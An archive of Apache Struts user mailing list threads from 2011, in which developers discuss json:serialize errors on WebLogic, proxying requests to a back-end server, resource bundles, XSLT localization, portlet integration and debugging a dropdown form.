struts2-json-plugin-2.1.8.1.jar in an application deployed on WebLogic 10.3 ovver RedHat. We've been using the tag json:serialize without issue for months. But today we installed the same version of WebLogic over Windowx 7, and every time that tag is used, we got that error: Function 'json:serialize' specifies 5 params, but 1 were declared The tag is used as follows: var boxContent = c:out value=${json:serialize(myDataStore)} escapeXml='false'/; It is the same war we deployed (and it works) on our RedHat environment, so I don't understand why is giving such error message. Any ideas? Thanks JL - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Error Function 'json:serialize' specifies 5 params, but 1 were declared on WebLogic
BTW, I just upgraded to Strus-2.2.3, and it fails too, but this time the errors says Function 'json:serialize' specifies 6 params, but 1 were declared. 2011/8/30 JOSE L MARTINEZ-AVIAL jlm...@gmail.com It's strange. I remove the c:put, deploy the war, and it failed again. When I took a look at the java code generated by the JSP, and it has the following declaration static private weblogic.jsp.internal.jsp.JspFunctionMapper _jspx_fnmap = weblogic.jsp.internal.jsp.JspFunctionMapper.getInstance(); static {_jspx_fnmap.mapFunction(json:serialize, org.apache.struts2.json.JSONUtil.class, serialize, new Class[]{ java.lang.Object .class , java.util.Collection .class , java.util.Collection .class , boolean .class , boolean .class }); } So it is creating a Function Mapper for json:serialize that receives 5 arguments (Object, Collection, Collection, boolean, boolean). If one takes a look at the API( http://struts.apache.org/2.1.8/struts2-plugins/struts2-json-plugin/apidocs/org/apache/struts2/json/JSONUtil.html#method_summary), the method serialize is overloaded, so there is a method that receives only an object(The one that is declared on the TLD), and another one that receives the same arguments defined on the JSP. It seems that the WebLogic is ignoring the TLD, and it is just using another method instead of the one indicated on the TLD, which is defined as follows [...] function nameserialize/name function-classorg.apache.struts2.json.JSONUtil/function-class function-signature java.lang.String serialize(java.lang.Object) /function-signature /function [...] Any idea of why it can behave that way? It's curious that on Linux it works fine, it only fails on Windows. 2011/8/30 Maurizio Cucchiara mcucchi...@apache.org Also, you should verify against the latest version (2.2.3). Again, IIRC there should be some similar trouble with the version you are using. Maurizio Cucchiara On 30 August 2011 21:51, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: Hi, I'm using Struts 2.1.8, with plugin struts2-json-plugin-2.1.8.1.jar in an application deployed on WebLogic 10.3 ovver RedHat. We've been using the tag json:serialize without issue for months. But today we installed the same version of WebLogic over Windowx 7, and every time that tag is used, we got that error: Function 'json:serialize' specifies 5 params, but 1 were declared The tag is used as follows: var boxContent = c:out value=${json:serialize(myDataStore)} escapeXml='false'/; It is the same war we deployed (and it works) on our RedHat environment, so I don't understand why is giving such error message. Any ideas? Thanks JL - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Struts2 dispatch request to another application
Well, that does not cove what I need, since it can only include JSP or servlet outputs from the server where Struts is running, and I need to be able to access other pages. Actually, what I need is to implement some kind of tunneling, so some request from the browser to the front server will be redirected to the back server. The idea is to have a separate mapping for that, so -let's say- any request that starts with http://myfrontserver/myapp/myblog/* will be taken from http://mybackserver/myblog/*. I don't mean redirected, I need my front app to get the request page from the backserver, and send it back to the browser, so it will be operating as a tunnel. This is somehow different from the 'normal' situation in which there is a front server (Apache, for example) that servers static content and a application server(in this case WebLogic 10.3) that servers the application's pages. In this case I also have a web server in the back, and I need to provide access to it through my application server, since the access to that server needs to be granted only to users logged into the application. So far I've created an Action that uses Apache HttpComponents to get the requested resource from the back server and sends it back to the client through a stream result.It also checks the content-type of the resouce, and if it's a text resource, looks for any references to http://mybackserver, in order to change it to http://myfrontserver/myapp before sending it to the browser. It works fine, but needs some fine tuning to cover both GET and POST, arguments, etc. I also think it can be refactored as a result, so it could be generalized, and in that case I think it could be a nice feature to add to Struts2, so I will be glad to share it. Maybe there are other approaches to do this, so I'd appreciate any suggestion you may have. Thanks Jose Luis 2011/8/27 Jeff Black jeffrey.bl...@yahoo.com JL, Have a look at the s:include/ tag: http://struts.apache.org/2.2.3/docs/include.html From your post it sounds to me like it might do what you're looking for. The following is an excerpt from *Struts 2 In Action:* *The include tag* Whereas JSP has its own include tag, jsp:include, Struts 2 provides a version that integrates with Struts 2 better and provides more advanced features. In short, this tag allows you to execute a Servlet API–style include. This means you can include the output of another web resource in the currently rendering page. One good thing about the Struts 2 include tag is that it allows you to pass along request parameters to the included resource. This differs from the previously seen action tag, in that the include tag can reference any servlet resource, while the action tag can include only another Struts 2 action within the same Struts 2 application. This inclusion of an action stays completely within the Struts 2 architecture. The include tag can go outside of the Struts 2 architecture to retrieve any resource available to the web application in which the Struts 2 application is deployed. This generally means grabbing other servlets or JSPs. Best, jb / -- *From:* jlm...@gmail.com jlm...@gmail.com *To:* Dave Newton davelnew...@gmail.com; Struts Users Mailing List user@struts.apache.org *Sent:* Friday, August 26, 2011 6:00 PM *Subject:* Re: Struts2 dispatch request to another application Well, I suppouse that's the only way, it's only that I thought somebody would have come with this problem early, and I wanted to know how, if so, they solved it. JL Sent via BlackBerry from T-Mobile -Original Message- From: Dave Newton davelnew...@gmail.com Date: Fri, 26 Aug 2011 18:54:18 To: Struts Users Mailing Listuser@struts.apache.org; jlm...@gmail.com Subject: Re: Struts2 dispatch request to another application On Fri, Aug 26, 2011 at 6:51 PM, jlm...@gmail.com wrote: I thought of that, but it doesn't work because the other server is not available through Internet, only the first one. So I need to 'tunnelize' the request from the browser to the other server thorugh my application. If you're trying to make it look like the request is being served by your app, but coming from another one, then you'll basically need to use something like HttpClient to make the underlying request and stream its results back to the client of your app. Dave
Struts2 dispatch request to another application
Hello all, I'm using Struts 2.1.8.1. I have a requirement to embed some pages from another server on my own app, so the users will access to them through my application, without accessing directly the other server. My idea is to have a package definition for that, so any access to that package would be redirected to the internal server. package name=eco-marketing namespace=/marketing extends=eco-default action name=* result name=success type=dispatcher param name=locationhttp://myotherserver:8080/test/{1} /param /result /action /package But it does not work, I got a Error 404--Not Found, so I suppouse is not as easy as it sounds. Any ideas on how to do this? TIA
Destroy an Action in Struts2?
Hi, Is there a way to destroy correctly an Action? I know that a instance of an Action is created every time it is needed, and it is alive during the processing of the request until the response is sent back to the user. What I don't know is if the instance is 'destroyed' in some way, or Struts just sets to null the references to it, and that's it. I'm used to implement a Destroyable interface in all my classes, which I use to clear any Map, List, etc, and set to null any field in the object, in order to avoid memory leaks. I would like to do the same with the action. I know I could implement an Interceptor to do that, but I don't know if this is already covered in Struts. Any thoughts? TIA Jose Luis
Re: Destroy an Action in Struts2?
Well, the interceptor should be the first one on the stack, so all data required in the result should have been already used. It's not a bad idea, I will work with that. With respect to the GC, back in 2002 when I started using Java the GC didn't work quite well, and my team and I started clearing and setting to null any reference that weren't used anymore to avoid issues with memory, and I've doing that since then. In fact, the few times I've had some issues with memory leaks, it was usually due to some variables fields not cleared. 2011/8/1 Maurizio Cucchiara mcucchi...@apache.org Doing what you are looking for through an interceptor is quite trivial: you should simply check (after the invocation.invoke() call) if an action implements Destroyable IF and then call the destroy method. Anyway, I think that the garbage collector in this specific case is able to do a good work, why don't you trust it? On 1 August 2011 08:44, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: Hi, Is there a way to destroy correctly an Action? I know that a instance of an Action is created every time it is needed, and it is alive during the processing of the request until the response is sent back to the user. What I don't know is if the instance is 'destroyed' in some way, or Struts just sets to null the references to it, and that's it. I'm used to implement a Destroyable interface in all my classes, which I use to clear any Map, List, etc, and set to null any field in the object, in order to avoid memory leaks. I would like to do the same with the action. I know I could implement an Interceptor to do that, but I don't know if this is already covered in Struts. Any thoughts? TIA Jose Luis -- Maurizio Cucchiara - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Destroy an Action in Struts2?
Well, I don't have an issue with memory leaks now, and it's been a while since I had some problem with it(but it was due to some references in a list not cleaned).. It maybe a 'cargo cult', but I don't think it is harmful,-apart from some overhead- so I just prefer to be on the safe side. A little OT. If I recall correctly, the GC basically keeps a count of the references for each object in the JVM. Once the number of refereces is null, it cleans the object. But let's say we have a circular reference between two objects, and we clean any references to them. What would happen with those objects? Will they be cleaned? JL 2011/8/1 Dave Newton davelnew...@gmail.com Unless you have proof an action's properties are causing a memory leak, it sounds like cargo cult programming to me. Most cases if leaks like this are caused by something else in the code keeping references. Have you profiled the app to see if what you want is really necessary? I'm pretty skeptical. Dave On Aug 1, 2011 3:49 AM, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: Well, the interceptor should be the first one on the stack, so all data required in the result should have been already used. It's not a bad idea, I will work with that. With respect to the GC, back in 2002 when I started using Java the GC didn't work quite well, and my team and I started clearing and setting to null any reference that weren't used anymore to avoid issues with memory, and I've doing that since then. In fact, the few times I've had some issues with memory leaks, it was usually due to some variables fields not cleared. 2011/8/1 Maurizio Cucchiara mcucchi...@apache.org Doing what you are looking for through an interceptor is quite trivial: you should simply check (after the invocation.invoke() call) if an action implements Destroyable IF and then call the destroy method. Anyway, I think that the garbage collector in this specific case is able to do a good work, why don't you trust it? On 1 August 2011 08:44, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: Hi, Is there a way to destroy correctly an Action? I know that a instance of an Action is created every time it is needed, and it is alive during the processing of the request until the response is sent back to the user. What I don't know is if the instance is 'destroyed' in some way, or Struts just sets to null the references to it, and that's it. I'm used to implement a Destroyable interface in all my classes, which I use to clear any Map, List, etc, and set to null any field in the object, in order to avoid memory leaks. I would like to do the same with the action. I know I could implement an Interceptor to do that, but I don't know if this is already covered in Struts. Any thoughts? TIA Jose Luis -- Maurizio Cucchiara - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Access to Resource Bundle when there is no action
Just to clarify that when I talk about accessing a Resource bundle on an action that has no action class I mean accessing the resource from a JSP called as as result from an Struts2 action that has no class associated. Nobody has found this issue before? If so, how do you solve it? TIA Jose 2011/7/20 JOSE L MARTINEZ-AVIAL jlm...@gmail.com Hi, I'm using Struts 2.1.8.1, and I'm having some problems with accessing a Resource bundle on an action that has no action class associated. It just doesn't find the bundle, which seams reasonable since Struts doesn't know where to look. I see that it's possible to define a global resources( http://struts.apache.org/2.1.8/docs/localization.html), but I was wondering if it is possible to define a 'default' bundle at a Struts package level. It would be something like this: ?xml version=1.0 encoding=UTF-8 ? !DOCTYPE struts PUBLIC -//Apache Software Foundation//DTD Struts Configuration 2.0//EN http://struts.apache.org/dtds/struts-2.0.dtd; struts package name=stmts-doc namespace=/doc extends=stmts-default default-bundle name=com.stmts.doc.my-package.properties/ action name=SeeSelections interceptor-ref name=stmtsStack param name=AuthoritationInterceptor.resourceSecurityMaster/param /interceptor-ref result type=tilesstmts.doc.selections.screen/result /action /package /struts Is it possible to do that? TIA Jose Luis
Re: Access to Resource Bundle when there is no action
Hi Jeff, Yes, that works(I think I mentioned it on my first mail). But my point is that it's only possible to setup that property at a global level, i.e., is the same property for all packages. Is it not possible to define that property at a package level? then I could have a package called store and other called documents, and both of them could have a different definition of struts.custom.i18n.resource. Regards JL 2011/7/21 Jeff Black jeffrey.bl...@yahoo.com Hi Jose, I have the following entry in my struts.properties file: struts.custom.i18n.resources=globalmessages My globalmessage.properties file is sitting alongside my struts.properties file on the Classpath. I am using, for example, s:text/ tags to hit the resource bundle via my Class-less JSP's. I am using version 2.2.3. Let us know if this helps. Best, jb / From: JOSE L MARTINEZ-AVIAL jlm...@gmail.com To: Struts Users Mailing List user@struts.apache.org Sent: Thu, July 21, 2011 8:16:35 AM Subject: Re: Access to Resource Bundle when there is no action Just to clarify that when I talk about accessing a Resource bundle on an action that has no action class I mean accessing the resource from a JSP called as as result from an Struts2 action that has no class associated. Nobody has found this issue before? If so, how do you solve it? TIA Jose 2011/7/20 JOSE L MARTINEZ-AVIAL jlm...@gmail.com Hi, I'm using Struts 2.1.8.1, and I'm having some problems with accessing a Resource bundle on an action that has no action class associated. It just doesn't find the bundle, which seams reasonable since Struts doesn't know where to look. I see that it's possible to define a global resources( http://struts.apache.org/2.1.8/docs/localization.html), but I was wondering if it is possible to define a 'default' bundle at a Struts package level. It would be something like this: ?xml version=1.0 encoding=UTF-8 ? !DOCTYPE struts PUBLIC -//Apache Software Foundation//DTD Struts Configuration 2.0//EN http://struts.apache.org/dtds/struts-2.0.dtd; struts package name=stmts-doc namespace=/doc extends=stmts-default default-bundle name=com.stmts.doc.my-package.properties/ action name=SeeSelections interceptor-ref name=stmtsStack param name=AuthoritationInterceptor.resourceSecurityMaster/param /interceptor-ref result type=tilesstmts.doc.selections.screen/result /action /package /struts Is it possible to do that? TIA Jose Luis
Re: Access to Resource Bundle when there is no action
Humm, I didn't know I could setup multiple values for that. Will try. Any case, I think that declaring a default resource per package could be useful, so maybe I will fill a Jira to request that. Thanks for your help. JL 2011/7/22 Chris Pratt thechrispr...@gmail.com It may not be a perfect solution, but you can specify multiple values for that property. Maybe something like this would work: struts.custom.i18n.resources=store, documents or even: struts.custom.i18n.resources=com.package.store, com.package.documents Which would allow you to have a com/package/store.properties on the classpath, and a com/package/documents.properties as well. They're both technically global, but as long as you treat them as package specific, they will behave fine. (*Chris*) On Thu, Jul 21, 2011 at 6:50 PM, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: Hi Jeff, Yes, that works(I think I mentioned it on my first mail). But my point is that it's only possible to setup that property at a global level, i.e., is the same property for all packages. Is it not possible to define that property at a package level? then I could have a package called store and other called documents, and both of them could have a different definition of struts.custom.i18n.resource. Regards JL 2011/7/21 Jeff Black jeffrey.bl...@yahoo.com Hi Jose, I have the following entry in my struts.properties file: struts.custom.i18n.resources=globalmessages My globalmessage.properties file is sitting alongside my struts.properties file on the Classpath. I am using, for example, s:text/ tags to hit the resource bundle via my Class-less JSP's. I am using version 2.2.3. Let us know if this helps. Best, jb / From: JOSE L MARTINEZ-AVIAL jlm...@gmail.com To: Struts Users Mailing List user@struts.apache.org Sent: Thu, July 21, 2011 8:16:35 AM Subject: Re: Access to Resource Bundle when there is no action Just to clarify that when I talk about accessing a Resource bundle on an action that has no action class I mean accessing the resource from a JSP called as as result from an Struts2 action that has no class associated. Nobody has found this issue before? If so, how do you solve it? TIA Jose 2011/7/20 JOSE L MARTINEZ-AVIAL jlm...@gmail.com Hi, I'm using Struts 2.1.8.1, and I'm having some problems with accessing a Resource bundle on an action that has no action class associated. It just doesn't find the bundle, which seams reasonable since Struts doesn't know where to look. I see that it's possible to define a global resources( http://struts.apache.org/2.1.8/docs/localization.html), but I was wondering if it is possible to define a 'default' bundle at a Struts package level. It would be something like this: ?xml version=1.0 encoding=UTF-8 ? !DOCTYPE struts PUBLIC -//Apache Software Foundation//DTD Struts Configuration 2.0//EN http://struts.apache.org/dtds/struts-2.0.dtd; struts package name=stmts-doc namespace=/doc extends=stmts-default default-bundle name=com.stmts.doc.my-package.properties/ action name=SeeSelections interceptor-ref name=stmtsStack param name=AuthoritationInterceptor.resourceSecurityMaster/param /interceptor-ref result type=tilesstmts.doc.selections.screen/result /action /package /struts Is it possible to do that? TIA Jose Luis
Access to Resource Bundle when there is no action
Hi, I'm using Struts 2.1.8.1, and I'm having some problems with accessing a Resource bundle on an action that has no action class associated. It just doesn't find the bundle, which seams reasonable since Struts doesn't know where to look. I see that it's possible to define a global resources( http://struts.apache.org/2.1.8/docs/localization.html), but I was wondering if it is possible to define a 'default' bundle at a Struts package level. It would be something like this: ?xml version=1.0 encoding=UTF-8 ? !DOCTYPE struts PUBLIC -//Apache Software Foundation//DTD Struts Configuration 2.0//EN http://struts.apache.org/dtds/struts-2.0.dtd; struts package name=stmts-doc namespace=/doc extends=stmts-default default-bundle name=com.stmts.doc.my-package.properties/ action name=SeeSelections interceptor-ref name=stmtsStack param name=AuthoritationInterceptor.resourceSecurityMaster/param /interceptor-ref result type=tilesstmts.doc.selections.screen/result /action /package /struts Is it possible to do that? TIA Jose Luis
Re: getText on XSLT transformation on an Action
humm, that could do the trick. Altough I would need to extend it to get the locale from the ActionContext. 2011/6/17 Maurizio Cucchiara mcucchi...@apache.org is that [1] what you are looking for? [1] http://www.javaworld.com/javaworld/jw-12-2001/jw-1221-xslt.html?page=3 On 17 June 2011 09:26, jlm...@gmail.com wrote: Well, the XML comes from an external provider through a webservice, so I would prefer otheer solution...if possible. Sent via BlackBerry from T-Mobile -Original Message- From: Chris Pratt thechrispr...@gmail.com Date: Thu, 16 Jun 2011 22:24:33 To: Struts Users Mailing Listuser@struts.apache.org Reply-To: Struts Users Mailing List user@struts.apache.org Subject: Re: getText on XSLT transformation on an Action There's no reason the XSL should be dynamic. The XML is typically the dynamic part with the XSL being static (so that it can be parsed and cached for efficiency). Why not include a section in the XML with the replacement text, then reference the strings using XPath? (*Chris*) On Thu, Jun 16, 2011 at 5:34 PM, Miguel miguel...@gmail.com wrote: Yes, if you want this, you need to create the XSLT on the fly, You can use freemarker to achieve this. substituying the placeholders with the appropiate text. You can use even apache commons StringUtils if you only want to susbtitute placeholders with fixed text. Cheers, Si quieres ser más positivo, pierde un electrón Miguel Ruiz Velasco Sobrino On Thu, Jun 16, 2011 at 19:31, JOSE L MARTINEZ-AVIAL jlm...@gmail.com wrote: could you expand that? do you mean to create the XSLT on the fly? 2011/6/16 Maurizio Cucchiara mcucchi...@apache.org The first solution I thought is: a template engine. Currently your xslt file is static, you should consider to make dynamic in order to include dynamic content. Maurizio Cucchiara Il giorno 16/giu/2011 19.37, JOSE L MARTINEZ-AVIAL jlm...@gmail.com ha scritto: Hi, I'm using Struts 2.1.8.1. I have an action that retrieves some XML data from a webservice, and transform it to HTML using XSLT. The transformation is done in the action, and the output is returned as a stream and sent to the client. It works fine, but now I need to write some labels that depend on the user's locale. Is there any way to call getText from the XSLT stylesheet, so it uses the action that called the transformer as the basis to look for the package with the labels in the diferent languages? It should also use the user's locale, but since it gets it from the ActionContext, it should work fine. Thanks Jose - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org -- Maurizio Cucchiara
getText on XSLT transformation on an Action
Hi, I'm using Struts 2.1.8.1. I have an action that retrieves some XML data from a webservice, and transform it to HTML using XSLT. The transformation is done in the action, and the output is returned as a stream and sent to the client. It works fine, but now I need to write some labels that depend on the user's locale. Is there any way to call getText from the XSLT stylesheet, so it uses the action that called the transformer as the basis to look for the package with the labels in the diferent languages? It should also use the user's locale, but since it gets it from the ActionContext, it should work fine. Thanks Jose
Re: getText on XSLT transformation on an Action
could you expand that? do you mean to create the XSLT on the fly? 2011/6/16 Maurizio Cucchiara mcucchi...@apache.org The first solution I thought is: a template engine. Currently your xslt file is static, you should consider to make dynamic in order to include dynamic content. Maurizio Cucchiara Il giorno 16/giu/2011 19.37, JOSE L MARTINEZ-AVIAL jlm...@gmail.com ha scritto: Hi, I'm using Struts 2.1.8.1. I have an action that retrieves some XML data from a webservice, and transform it to HTML using XSLT. The transformation is done in the action, and the output is returned as a stream and sent to the client. It works fine, but now I need to write some labels that depend on the user's locale. Is there any way to call getText from the XSLT stylesheet, so it uses the action that called the transformer as the basis to look for the package with the labels in the diferent languages? It should also use the user's locale, but since it gets it from the ActionContext, it should work fine. Thanks Jose
Use PreResultListener with validate to load data if error
Hi, I'm using Struts 2.1.8.1. I have some Actions that use validate() to check the values in a form, and I'm using Preparable to load some data in case the validation fails and it goes back to the original page. The issue is that prepare is always invoked, so I load the data even if the validation is succesful. I know this is a long known issue, but I was wondering if I setup a PreResultListener in the prepare method that checks if the resultCode, and if it is 'input', then it would load the data I need in the form. How that sounds? Has anyone used this approach? Any flaws? Thanks JL
Access to ActionContext.getContext().getName() using OGNL
Hi, I've been looking for a while, but haven't found anything, so I'm asking here. How can I get the name of the action from a Struts2 Tag? IOW, I would like to do something like ActionContext.getContext().getName(), but using s:property value=name/. I haven't found any information on how to do that. Thanks Jose
[Maybe OT] Integration of a WSRP portlet into a Struts app.
Hi, I've been using Struts 2 the last few months to write a web app for our users. It works fine, but now I'm facing the challenge of integrating a third part applicacion (Microstrategy) into my app. MS provides support to portlets and WSRP, so my idea is to provide a page in my app that will show the MS page through WSRP. But my app is not a portal, so I'm a bit lost on how I can integrate the portlet. I've seen Apache Pluto, which can work, but it does no support WSRP, and my app runs on a diferente server that MS, so it seems it's not an option. I can not use an Iframe (my first approach) since my app will be exposed to Internet, and MS will not be exposed, so it's not accesible from the browser. Any suggestions? has anybody doing something like this? thanks Jose Luis
Re: RE: loading Dropdown dynamically from database
Well, the NPE is due to the fact that you are setting declaring dt_oid as an Integer(which can be null) but in the method listdomain is an int. The JVM automatically tries to convert Integer to int, but if it's null, it will throw a NPE, since an int can not be null. That's the first thing you should look at. Also, who and when is setting dt_oid? Because there is no such field in the jsp, so it will always be empty. And you will always get that exception. Second, if you want to fill the domaintype in the bean, as the rest of fields, you will need to rename the select to listbean.domainType, as the rest of fields in the form. Otherwise it will not be loaded in the bean. Also, you should revise the logic used to create the ids in the DAO. As it stands, the objectid will always be 1. Third, IMO your code is hard to read. If you create an object of class DomainBean, do not call it listbean, because everybody that reads it will be puzzle why something that is not a list is called list. 2011/3/16 JavaNoobie87 vivek...@enzentech.com JOSE L MARTINEZ-AVIAL wrote: Struts does not know that yo want to should map that domainType to your bean. It wil try to map the parameters received from the request to the action. So for each parameter it founds in the request received from the user, it is gonna look in the action for a set. If I remember correctly, if the parameter name has a dot, it will understand that is a setter in an bean, so if you put a parameter name called myBean.myValue, it will try to look for a setMyBean, which receives an object that has a setMyValue, and it will try to instantiate the bean and do both sets. But that's not the case in your jsp, since the parameter name is just domainType. But I'm still missing something. From your code I suppouse you want to show the user a list of domains, then he selects one, and then your application load the data, and return to the user with the same jsp, where he can change some values, and press save, who will send the form to the server, and save it in the database, is that right? Are you saying that I should try to use listbean.domainType instead of just domainType? Also your description of my project is almost exact. I intend to show the user a list of domains from which he may select one, my application will load the data corresponding to that domain from another table , containing all records of that particular domain(hence the iterator tag ). I also intend to be able to edit ,update and save the individual records in a domain .Thanks for replying -- View this message in context: http://struts.1045723.n5.nabble.com/loading-Dropdown-dynamically-from-database-tp3555885p3760331.html Sent from the Struts - User mailing list archive at Nabble.com. - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: RE: loading Dropdown dynamically from database
Check the documentation for the tag http://struts.apache.org/2.0.14/docs/select.html I was referring to the attribute 'name', which indicates the name used to get the select value from the Action, and also to send the value back to the server. It should be something like this s:select headerKey='-1' headerValue='--Select--' list='dtList' listKey='objid' listValue='description' name='listbean.domainType' onchange='function1(this)' /. With respect to the id, it's something outside this forum, but what you have is basically this: boolean output=false; int result = 0; try { [...] if (listbean.getObjid()!=null){ [do the update] } else{ System.out.println(In ); String query= INSERT INTO DOMAIN (OBJECTID,ISACTIVE,CODE,DESCRIPTION,ISEDITABLE,DOMAINTYPE_OID) VALUES (?,?,?,?,?,?) ; stmt = con.prepareStatement(query); // Now you increment result, which was created with value 0, and therefore after the increase will always be 1 stmt.setInt(1,++result); // This trace does not make any sense at all. The objid, whicheve value it has, it's completely lost. System.out.println(OBJECTID+ listbean.getObjid()); stmt.setBoolean(2, (listbean.getActive())); stmt.setString(3, listbean.getCode()); stmt.setString(4, listbean.getDescription()); stmt.setBoolean(5, (listbean.getEdit())); stmt.setInt(6,listbean.getDt_oid()); stmt.executeUpdate(); output= true; } } 2011/3/16 JavaNoobie87 vivek...@enzentech.com JOSE L MARTINEZ-AVIAL wrote: Well, the NPE is due to the fact that you are setting declaring dt_oid as an Integer(which can be null) but in the method listdomain is an int. The JVM automatically tries to convert Integer to int, but if it's null, it will throw a NPE, since an int can not be null. That's the first thing you should look at. Also, who and when is setting dt_oid? Because there is no such field in the jsp, so it will always be empty. And you will always get that exception. Second, if you want to fill the domaintype in the bean, as the rest of fields, you will need to rename the select to listbean.domainType, as the rest of fields in the form. Otherwise it will not be loaded in the bean. Also, you should revise the logic used to create the ids in the DAO. As it stands, the objectid will always be 1. Third, IMO your code is hard to read. If you create an object of class DomainBean, do not call it listbean, because everybody that reads it will be puzzle why something that is not a list is called list. Well, first off I sincerely apologize for using an improper naming technique I'm totally new to coding in itself :s. As Suggested ,Ive changed the return value of dt_oid and objid across the code . And im trying to set it through the jsp by modifying the select tag . as below. lt;s:select headerKey=quot;-1quot; headerValue=quot;--Select--quot; list=quot;dtListquot; listValue=quot;listbean.codequot; listValue=quot;listbean.dt_oidquot; name=quot;listbean.domainTypequot; onchange=quot;function1(this)quot; /gt;. I'm not sure how far this is effective though as the drop down form the jsp is empty . Even though the source shows the various options. Also I dont understand what you mean by creating the ids,could you please explain? -- View this message in context: http://struts.1045723.n5.nabble.com/loading-Dropdown-dynamically-from-database-tp3555885p3766102.html Sent from the Struts - User mailing list archive at Nabble.com. - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: Pluto embedded in Strstu 2.1.8.1
Hi, This may sound silly, but which is the URL to access to the Struts2-portlet sample app? I deployed it without problem, but I don't know which URL I should access. All I got is a HTTP error 403 http://myserver/struts2-portlet Can you give me a hand with that? Thanks JL 2011/3/16 jlm...@gmail.com Thanks, I will take a look. JL Sent via BlackBerry from T-Mobile -Original Message- From: Nils-Helge Garli Hegvik nil...@gmail.com Date: Wed, 16 Mar 2011 19:11:41 To: Struts Users Mailing Listuser@struts.apache.org Reply-To: Struts Users Mailing List user@struts.apache.org Subject: Re: Pluto embedded in Strstu 2.1.8.1 Hi! The Struts2 portlet sample application is set up with the pluto embedded framework. You can take a look at it to replicate the setup. Nils-H On Wed, Mar 16, 2011 at 2:59 PM, Jose Luis Martinez Avial jlmarti...@pb-santander.com wrote: Hi, I'm looking how I can integrate an external application available through WSRP with our in-house webapp developed with Struts. I would like to check how I can embed Pluto in Struts2. Has anyone tried that? Is there any documentation or example available? TIA JL Internet communications are not secure and therefore Banco Santander International does not accept legal responsibility for the contents of this message. Any views or opinions presented are solely those of the author and do not necessarily represent those of Banco Santander International unless otherwise specifically stated. Las comunicaciones v'ia Internet no son seguras y, por lo tanto, Banco Santander International no asume responsabilidad legal ni de ning'un otro tipo por el contenido de este mensaje. Cualquier opini'on transmitida pertenece 'unicamente al autor y no necesariamente representa la opini'on de Banco Santander International, a no ser que est'e expresamente detallado. - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: RE: loading Dropdown dynamically from database
Well, ParametersInterceptor should take care of that. Do you have devMode enable? check the logs, you should find there if it is been used, and if it is working. 2011/3/15 JavaNoobie87 vivek...@enzentech.com I am submitting a form in the page and trying to store the value in a bean (in the action class )and trying to use that bean to insert a row( but the values from the form aren't being reflected onto the bean and hence the NPE) , however I dont know how the values i submit from the form can be put into the bean im passing to the action method.. addupdomain ?? Ive attached source code below. http://struts.1045723.n5.nabble.com/file/n3690012/DomainAction1.txt Action class.txt http://struts.1045723.n5.nabble.com/file/n3690012/DomainBean.txt Bean http://struts.1045723.n5.nabble.com/file/n3690012/DomainDAO.txt DAOClass.txt http://struts.1045723.n5.nabble.com/file/n3690012/interfacejsp.txt JSP -- View this message in context: http://struts.1045723.n5.nabble.com/loading-Dropdown-dynamically-from-database-tp3555885p3690012.html Sent from the Struts - User mailing list archive at Nabble.com. - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: RE: loading Dropdown dynamically from database
You can activate devMode putting this in you struts.xml struts constant name=struts.devMode value=false / [...] /struts The ParameterInterceptor is in the default stack of Struts2. If you are using the default stack, it should work automatically. If not, you need to add it to your interceptor stack. http://struts.apache.org/2.0.6/struts2-core/apidocs/com/opensymphony/xwork2/interceptor/ParametersInterceptor.html 2011/3/15 JavaNoobie87 vivek...@enzentech.com devmode is disabled (I have never used it before) and how do I implement the ParamsInterceptor and whats the use of the same ? -- View this message in context: http://struts.1045723.n5.nabble.com/loading-Dropdown-dynamically-from-database-tp3555885p3710199.html Sent from the Struts - User mailing list archive at Nabble.com. - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: RE: loading Dropdown dynamically from database
Sorry, you need to put constant name=struts.devMode value=true / 2011/3/15 JOSE L MARTINEZ-AVIAL jlm...@gmail.com You can activate devMode putting this in you struts.xml struts constant name=struts.devMode value=false / [...] /struts The ParameterInterceptor is in the default stack of Struts2. If you are using the default stack, it should work automatically. If not, you need to add it to your interceptor stack. http://struts.apache.org/2.0.6/struts2-core/apidocs/com/opensymphony/xwork2/interceptor/ParametersInterceptor.html 2011/3/15 JavaNoobie87 vivek...@enzentech.com devmode is disabled (I have never used it before) and how do I implement the ParamsInterceptor and whats the use of the same ? -- View this message in context: http://struts.1045723.n5.nabble.com/loading-Dropdown-dynamically-from-database-tp3555885p3710199.html Sent from the Struts - User mailing list archive at Nabble.com. - To unsubscribe, e-mail: user-unsubscr...@struts.apache.org For additional commands, e-mail: user-h...@struts.apache.org
Re: RE: loading Dropdown dynamically from database
